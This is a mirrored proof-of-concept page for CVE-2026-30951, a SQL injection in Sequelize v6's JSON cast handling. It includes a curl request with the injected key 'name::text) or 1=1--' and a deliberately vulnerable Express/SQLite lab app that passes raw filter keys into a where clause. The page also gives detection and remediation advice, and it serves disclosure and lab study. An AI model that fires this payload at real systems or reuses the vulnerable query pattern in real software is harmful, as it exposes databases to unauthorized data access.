PoC Archive PoC Archive
High CVE-2026-30951 patched

Sequelize ORM JSON Cast SQL Injection — CVE-2026-30951

by EQSTLab · 2026-07-05

Severity
High
CVE
CVE-2026-30951
Category
web
Affected product
Sequelize ORM v6 (Node.js)
Affected versions
v6.x <= 6.37.7 (fixed in 6.37.8; v7 / @sequelize/core not affected)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherEQSTLab
CVE / AdvisoryCVE-2026-30951
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssequelize, sqli, orm, json-cast, nodejs, express, sqlite, boolean-based
RelatedN/A

Affected Target

FieldValue
Software / SystemSequelize ORM v6 (Node.js)
Versions Affectedv6.x <= 6.37.7 (fixed in 6.37.8; v7 / @sequelize/core not affected)
Language / PlatformJavaScript/Node.js (Express, Sequelize, SQLite)
Authentication RequiredNo (depends on the vulnerable endpoint’s own access controls)
Network Access RequiredYes

Summary

Sequelize v6’s JSON/JSONB where-clause processing treats the portion of a JSON path key following a :: delimiter as a SQL cast type, inserting it into the generated SQL query without validation. If an application allows attacker-controlled JSON object keys to reach a Sequelize where clause (e.g. a search filter object), the attacker can smuggle SQL syntax through the “cast type” position, resulting in classic boolean-based SQL injection against the underlying database. This repository provides a minimal vulnerable Express/Sequelize/SQLite application demonstrating the full attack end-to-end.


Vulnerability Details

Root Cause

When Sequelize parses a JSON where-clause key containing ::, it treats the substring after :: as a SQL type cast and concatenates it into the generated SQL without escaping/validating it against a whitelist of legitimate cast types.

Attack Vector

  1. Application exposes an endpoint (e.g. /api/users/search) that accepts a JSON filter object and passes its keys into a Sequelize where clause using JSON/JSONB path matching.
  2. Attacker sends a filter object with a crafted key such as "name::text) or 1=1--" instead of a normal field name.
  3. Sequelize inserts the ::-suffixed content directly into the generated SQL as a cast type, which combined with the injected ) or 1=1-- breaks out of the intended query structure.
  4. The resulting SQL executes attacker-controlled conditions, enabling boolean-based blind SQL injection (search filter bypass, data exfiltration via boolean oracle, etc.).

Impact

Boolean-based SQL injection through attacker-controlled JSON object keys in any application allowing user-influenced JSON filter objects into a Sequelize where clause, potentially exposing or manipulating unintended data.


Environment / Lab Setup

Target:   Node.js/Express/Sequelize v6.37.7/SQLite demo app (this repo), or Docker image
Attacker: curl/HTTP client to POST JSON filter payloads

Proof of Concept

PoC Script

See app.js, package.json, and Dockerfile in this folder.

1
2
3
4
npm install && npm start
curl -X POST http://127.0.0.1:9100/api/users/search \
  -H "Content-Type: application/json" \
  -d '{"filter": {"name::text) or 1=1--": "emma"}}'

The app starts a minimal vulnerable search API on port 9100. A normal request ({"filter": {"name": "emma"}}) returns only matching users; the crafted key above demonstrates the boolean-based SQL injection bypassing the intended filter logic.


Detection & Indicators of Compromise

Signs of compromise:

  • Search/filter requests whose JSON keys contain ::, parentheses, or SQL keywords
  • Database query logs showing malformed or unexpected CAST/type-coercion syntax
  • Search results returning unexpectedly broad data sets (indicative of a bypassed filter)

Remediation

ActionDetail
Primary fixUpgrade Sequelize to 6.37.8 or later
Interim mitigationNever pass raw, attacker-controlled object keys into Sequelize where clauses; whitelist allowed filter fields explicitly before constructing queries

References


Notes

Mirrored from https://github.com/EQSTLab/CVE-2026-30951 on 2026-07-05.

app.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
const path = require('path');
const express = require('express');
const { Sequelize, DataTypes } = require('sequelize');

const PORT = Number(process.env.PORT || 9100);
const FLAG = process.env.FLAG || 'EQST{Fake}';

const sequelize = new Sequelize({
  dialect: 'sqlite',
  storage: process.env.DB_PATH || ':memory:',
  logging: false,
});

const User = sequelize.define('User', {
  username: {
    type: DataTypes.STRING,
    allowNull: false,
  },
  metadata: {
    type: DataTypes.JSON,
    allowNull: false,
  },
});

const Flag = sequelize.define('Flag', {
  flag: {
    type: DataTypes.STRING,
    allowNull: false,
  },
}, {
  tableName: 'Flag',
});

async function seedDatabase() {
  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'minseo.jwa', metadata: { name: 'Minseo Jwa', role: 'Security Researcher', team: 'EQST', office: 'Seoul', department: 'Security', email: 'minseo.jwa@eqst.com' } },
    { username: 'olivia.bennett', metadata: { name: 'Olivia Bennett', role: 'Frontend Developer', team: 'Team E', office: 'New York', department: 'Engineering', email: 'olivia.bennett@eqst.com' } },
    { username: 'noah.sullivan', metadata: { name: 'Noah Sullivan', role: 'Backend Developer', team: 'Team E', office: 'Austin', department: 'Engineering', email: 'noah.sullivan@eqst.com' } },
    { username: 'emma.carter', metadata: { name: 'Emma Carter', role: 'Security Engineer', team: 'Team Q', office: 'Boston', department: 'Security', email: 'emma.carter@eqst.com' } },
    { username: 'liam.parker', metadata: { name: 'Liam Parker', role: 'DevOps Engineer', team: 'Team E', office: 'Seattle', department: 'Platform', email: 'liam.parker@eqst.com' } },
    { username: 'ava.hughes', metadata: { name: 'Ava Hughes', role: 'HR Manager', team: 'Team T', office: 'Chicago', department: 'People', email: 'ava.hughes@eqst.com' } },
    { username: 'elijah.cooper', metadata: { name: 'Elijah Cooper', role: 'Data Analyst', team: 'Team S', office: 'Austin', department: 'Analytics', email: 'elijah.cooper@eqst.com' } },
    { username: 'sophia.ward', metadata: { name: 'Sophia Ward', role: 'Product Manager', team: 'Team T', office: 'New York', department: 'Product', email: 'sophia.ward@eqst.com' } },
    { username: 'james.brooks', metadata: { name: 'James Brooks', role: 'QA Engineer', team: 'Team Q', office: 'Seattle', department: 'Quality', email: 'james.brooks@eqst.com' } },
    { username: 'isabella.kelly', metadata: { name: 'Isabella Kelly', role: 'UI Designer', team: 'Team T', office: 'Los Angeles', department: 'Design', email: 'isabella.kelly@eqst.com' } },
    { username: 'benjamin.reed', metadata: { name: 'Benjamin Reed', role: 'Mobile Developer', team: 'Team E', office: 'Boston', department: 'Engineering', email: 'benjamin.reed@eqst.com' } },
    { username: 'mia.bailey', metadata: { name: 'Mia Bailey', role: 'Finance Manager', team: 'Team S', office: 'Chicago', department: 'Finance', email: 'mia.bailey@eqst.com' } },
    { username: 'lucas.barnes', metadata: { name: 'Lucas Barnes', role: 'Recruiter', team: 'Team T', office: 'New York', department: 'People', email: 'lucas.barnes@eqst.com' } },
    { username: 'amelia.cox', metadata: { name: 'Amelia Cox', role: 'Compliance Analyst', team: 'Team S', office: 'Boston', department: 'Security', email: 'amelia.cox@eqst.com' } },
    { username: 'henry.foster', metadata: { name: 'Henry Foster', role: 'IT Support Specialist', team: 'Team Q', office: 'Austin', department: 'IT', email: 'henry.foster@eqst.com' } },
    { username: 'harper.gray', metadata: { name: 'Harper Gray', role: 'Marketing Manager', team: 'Team T', office: 'Los Angeles', department: 'Marketing', email: 'harper.gray@eqst.com' } },
    { username: 'alexander.hayes', metadata: { name: 'Alexander Hayes', role: 'Database Administrator', team: 'Team E', office: 'Seattle', department: 'Platform', email: 'alexander.hayes@eqst.com' } },
    { username: 'evelyn.price', metadata: { name: 'Evelyn Price', role: 'Content Strategist', team: 'Team T', office: 'Chicago', department: 'Marketing', email: 'evelyn.price@eqst.com' } },
    { username: 'daniel.long', metadata: { name: 'Daniel Long', role: 'Security Analyst', team: 'Team Q', office: 'Boston', department: 'Security', email: 'daniel.long@eqst.com' } },
    { username: 'abigail.wood', metadata: { name: 'Abigail Wood', role: 'Technical Writer', team: 'Team S', office: 'Austin', department: 'Operations', email: 'abigail.wood@eqst.com' } },
    { username: 'mason.powell', metadata: { name: 'Mason Powell', role: 'Sales Manager', team: 'Team S', office: 'New York', department: 'Sales', email: 'mason.powell@eqst.com' } },
    { username: 'ella.patterson', metadata: { name: 'Ella Patterson', role: 'People Operations Partner', team: 'Team T', office: 'Chicago', department: 'People', email: 'ella.patterson@eqst.com' } },
    { username: 'logan.russell', metadata: { name: 'Logan Russell', role: 'Cloud Architect', team: 'Team E', office: 'Seattle', department: 'Platform', email: 'logan.russell@eqst.com' } },
    { username: 'scarlett.hamilton', metadata: { name: 'Scarlett Hamilton', role: 'Legal Counsel', team: 'Team S', office: 'Boston', department: 'Legal', email: 'scarlett.hamilton@eqst.com' } },
    { username: 'jacob.graham', metadata: { name: 'Jacob Graham', role: 'Procurement Specialist', team: 'Team S', office: 'Chicago', department: 'Operations', email: 'jacob.graham@eqst.com' } },
    { username: 'grace.simmons', metadata: { name: 'Grace Simmons', role: 'Research Engineer', team: 'Team Q', office: 'Austin', department: 'Security', email: 'grace.simmons@eqst.com' } },
    { username: 'michael.bishop', metadata: { name: 'Michael Bishop', role: 'Full Stack Developer', team: 'Team E', office: 'New York', department: 'Engineering', email: 'michael.bishop@eqst.com' } },
    { username: 'chloe.butler', metadata: { name: 'Chloe Butler', role: 'Office Manager', team: 'Team T', office: 'Los Angeles', department: 'Operations', email: 'chloe.butler@eqst.com' } },
    { username: 'ethan.coleman', metadata: { name: 'Ethan Coleman', role: 'Account Executive', team: 'Team S', office: 'Chicago', department: 'Sales', email: 'ethan.coleman@eqst.com' } },
    { username: 'lily.bryant', metadata: { name: 'Lily Bryant', role: 'Customer Success Manager', team: 'Team S', office: 'Boston', department: 'Customer Success', email: 'lily.bryant@eqst.com' } },
    { username: 'william.jenkins', metadata: { name: 'William Jenkins', role: 'Infrastructure Engineer', team: 'Team E', office: 'Seattle', department: 'Platform', email: 'william.jenkins@eqst.com' } },
  ]);

  await Flag.create({
    flag: FLAG,
  });
}

function buildApp() {
  const app = express();
  app.use(express.json());
  app.use(express.static(__dirname));

  app.get('/', (_req, res) => {
    res.type('html').send(`<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>CVE-2026-30951 by EQST Lab</title>
    <style>
      :root {
        --bg: #f6f3ed;
        --panel: rgba(255, 252, 248, 0.92);
        --ink: #1b1a17;
        --muted: #6b665e;
        --accent: #9a3f26;
        --border: rgba(120, 102, 80, 0.18);
        --shadow: 0 24px 80px rgba(53, 36, 12, 0.08);
      }
      * {
        box-sizing: border-box;
      }
      body {
        margin: 0;
        min-height: 100vh;
        color: var(--ink);
        font-family: "Segoe UI", "Helvetica Neue", Arial, sans-serif;
        background:
          radial-gradient(circle at top left, rgba(154, 63, 38, 0.12), transparent 30%),
          radial-gradient(circle at bottom right, rgba(109, 122, 90, 0.09), transparent 34%),
          linear-gradient(180deg, #fbf8f2 0%, var(--bg) 100%);
      }
      .shell {
        max-width: 980px;
        margin: 0 auto;
        padding: 48px 16px 72px;
      }
      .card {
        background: var(--panel);
        backdrop-filter: blur(12px);
        border: 1px solid var(--border);
        border-radius: 24px;
        box-shadow: var(--shadow);
      }
      .hero {
        display: grid;
        justify-items: center;
        gap: 10px;
        margin-bottom: 18px;
      }
      .hero img {
        width: min(280px, 62vw);
        height: auto;
        object-fit: contain;
        display: block;
      }
      .search-head {
        margin-bottom: 14px;
      }
      .title-row {
        display: flex;
        align-items: baseline;
        gap: 12px;
        margin-bottom: 0;
      }
      .search-title {
        margin: 0;
        color: var(--muted);
        font-size: 2rem;
        letter-spacing: 0.14em;
        text-transform: uppercase;
        font-weight: 700;
      }
      .search-subtitle {
        margin: 0;
        color: var(--muted);
        font-size: 0.85rem;
        font-weight: 600;
        letter-spacing: 0.14em;
        text-transform: uppercase;
        white-space: nowrap;
      }
      h1 {
        margin: 0;
        font-size: inherit;
        line-height: inherit;
        letter-spacing: inherit;
        font-weight: 700;
      }
      .search-card {
        padding: 24px 26px;
        margin-bottom: 20px;
      }
      .search-row {
        display: grid;
        grid-template-columns: 1fr auto;
        gap: 12px;
        align-items: center;
      }
      input {
        width: 100%;
        padding: 15px 18px;
        border-radius: 16px;
        border: 1px solid var(--border);
        background: rgba(255, 255, 255, 0.85);
        color: var(--ink);
        font: inherit;
      }
      input:focus {
        outline: 2px solid rgba(154, 63, 38, 0.14);
        border-color: rgba(154, 63, 38, 0.3);
      }
      button {
        cursor: pointer;
        appearance: none;
        border: 0;
        border-radius: 999px;
        padding: 12px 20px;
        color: #fffaf4;
        font: inherit;
        font-weight: 600;
        background: linear-gradient(135deg, #8f2a16, #c3562f);
      }
      .hint {
        margin-top: 10px;
        color: var(--muted);
        font-size: 0.93rem;
      }
      .results-card {
        padding: 24px 26px;
      }
      .section-title {
        margin: 0 0 12px;
        color: var(--muted);
        font-size: 0.85rem;
        letter-spacing: 0.14em;
        text-transform: uppercase;
        font-weight: 700;
      }
      .status {
        margin-bottom: 14px;
        color: var(--muted);
        font-size: 0.95rem;
      }
      .empty {
        padding: 24px;
        border: 1px dashed var(--border);
        border-radius: 18px;
        color: var(--muted);
        background: rgba(255, 255, 255, 0.56);
      }
      .result-list {
        display: grid;
        gap: 14px;
      }
      .result-item {
        display: grid;
        gap: 12px;
        padding: 18px;
        border-radius: 18px;
        border: 1px solid var(--border);
        background: rgba(255, 255, 255, 0.72);
      }
      .result-head {
        display: flex;
        justify-content: space-between;
        gap: 12px;
        align-items: start;
      }
      .result-item strong {
        display: block;
        margin-bottom: 4px;
        font-size: 1.08rem;
      }
      .subline {
        color: var(--muted);
        font-size: 0.94rem;
      }
      .badge-row {
        display: flex;
        flex-wrap: wrap;
        gap: 8px;
      }
      .badge {
        padding: 7px 10px;
        border-radius: 999px;
        border: 1px solid var(--border);
        background: rgba(255, 255, 255, 0.84);
        color: var(--ink);
        font-size: 0.84rem;
      }
      .meta {
        display: grid;
        grid-template-columns: repeat(3, minmax(0, 1fr));
        gap: 10px;
      }
      .meta-block {
        padding: 12px;
        border-radius: 14px;
        border: 1px solid var(--border);
        background: rgba(255, 255, 255, 0.58);
      }
      .meta-label {
        margin-bottom: 4px;
        color: var(--muted);
        font-size: 0.76rem;
        letter-spacing: 0.12em;
        text-transform: uppercase;
      }
      .meta-value {
        font-size: 0.98rem;
        font-weight: 600;
      }
      @media (max-width: 720px) {
        .search-row {
          grid-template-columns: 1fr;
        }
        .result-head {
          flex-direction: column;
        }
        .meta {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main class="shell">
      <section class="hero">
        <img src="/eqst01.png" alt="EQST logo" />
      </section>

      <section class="card search-card">
        <div class="search-head">
          <div class="title-row">
          <div class="search-title">CVE-2026-30951</div>
          <span class="search-subtitle">by EQST Lab</span>
        </div>  
        </div>
        <div class="search-row">
          <input id="query" type="text" placeholder="Try searching for Olivia, Emma, Daniel, or a partial match like son." />
          <button id="submit">Search</button>
        </div>
      </section>

      <section class="card results-card">
        <div class="section-title">Results</div>
        <div id="status" class="status">Ready.</div>
        <div id="results" class="empty">Search results will appear here.</div>
      </section>
    </main>
    <script>
      const queryInput = document.getElementById('query');
      const status = document.getElementById('status');
      const results = document.getElementById('results');

      function buildPayload(rawQuery) {
        const query = rawQuery.trim().toLowerCase();
        if (!query) {
          throw new Error('Enter a name to search');
        }

        return {
          filter: {
            name: query
          }
        };
      }

      function renderUsers(users) {
        if (!Array.isArray(users) || users.length === 0) {
          results.className = 'empty';
          results.textContent = 'No employees matched your search.';
          return;
        }

        results.className = 'result-list';
        results.innerHTML = users.map((user) => {
          let metadata = user.metadata;
          if (typeof metadata === 'string') {
            try {
              metadata = JSON.parse(metadata);
            } catch (_error) {
              metadata = { value: metadata };
            }
          }

          return '<article class="result-item">' +
            '<div class="result-head">' +
              '<div>' +
                '<strong>' + String(metadata.name || user.username) + '</strong>' +
                '<div class="subline">@' + String(user.username) + '</div>' +
              '</div>' +
              '<div class="badge-row">' +
                '<span class="badge">' + String(metadata.team || 'Unassigned') + '</span>' +
                '<span class="badge">' + String(metadata.department || 'General') + '</span>' +
              '</div>' +
            '</div>' +
            '<div class="badge-row">' +
              '<span class="badge">' + String(metadata.role || 'Employee') + '</span>' +
              '<span class="badge">' + String(metadata.office || 'Unknown Office') + '</span>' +
            '</div>' +
            '<div class="meta">' +
              '<div class="meta-block"><div class="meta-label">Department</div><div class="meta-value">' + String(metadata.department || '-') + '</div></div>' +
              '<div class="meta-block"><div class="meta-label">Office</div><div class="meta-value">' + String(metadata.office || '-') + '</div></div>' +
              '<div class="meta-block"><div class="meta-label">Email</div><div class="meta-value">' + String(metadata.email || '-') + '</div></div>' +
            '</div>' +
          '</article>';
        }).join('');
      }

      async function sendRequest() {
        status.textContent = 'Searching...';

        try {
          const payload = buildPayload(queryInput.value);
          const response = await fetch('/api/users/search', {
            method: 'POST',
            headers: {
              'Content-Type': 'application/json'
            },
            body: JSON.stringify(payload)
          });

          const data = await response.json();
          if (!response.ok || !data.ok) {
            throw new Error(data.error || 'Search failed');
          }

          status.textContent = 'Found ' + data.count + ' result(s).';
          renderUsers(data.users);
        } catch (error) {
          status.textContent = 'Search failed.';
          results.className = 'empty';
          results.textContent = error.message;
        }
      }

      document.getElementById('submit').addEventListener('click', sendRequest);
      queryInput.addEventListener('keydown', (event) => {
        if (event.key === 'Enter') {
          event.preventDefault();
          sendRequest();
        }
      });
    </script>
  </body>
</html>`);
  });

  app.get('/healthz', async (_req, res) => {
    try {
      await sequelize.authenticate();
      res.json({ ok: true });
    } catch (error) {
      res.status(500).json({ ok: false, error: error.message });
    }
  });

  app.post('/api/users/search', async (req, res) => {
    const filter = req.body && typeof req.body.filter === 'object' ? req.body.filter : {};

    try {
      let users;
      const filterKeys = Object.keys(filter);

      if (filterKeys.length === 1 &&filterKeys[0] === 'name'&& typeof filter.name === 'string') {
        const query = filter.name.trim().toLowerCase();
        users = (await User.findAll({
          order: [['username', 'ASC']],
          raw: true,
        })).filter((user) => {
          const metadata = typeof user.metadata === 'string' ? JSON.parse(user.metadata) : user.metadata;
          const haystacks = [
            String(user.username || '').toLowerCase(),
            String(metadata.name || '').toLowerCase(),
          ];

          return haystacks.some((value) => value.includes(query));
        });
      } else {
        users = await User.findAll({
          where: { metadata: filter },
          raw: true,
          logging: (sql) => {
            console.log(`SQL: ${sql}`);
          },
        });
      }

      res.json({
        ok: true,
        count: users.length,
        users,
      });
    } catch (error) {
      res.status(500).json({
        ok: false,
        error: error.message,
      });
    }
  });

  return app;
}

async function initialize() {
  await seedDatabase();
  return buildApp();
}

async function main() {
  const app = await initialize();
  app.listen(PORT, () => {
    console.log(`Challenge server listening on http://127.0.0.1:${PORT}`);
  });
}

if (require.main === module) {
  main().catch((error) => {
    console.error(error);
    process.exit(1);
Showing 500 of 512 lines View full file on GitHub →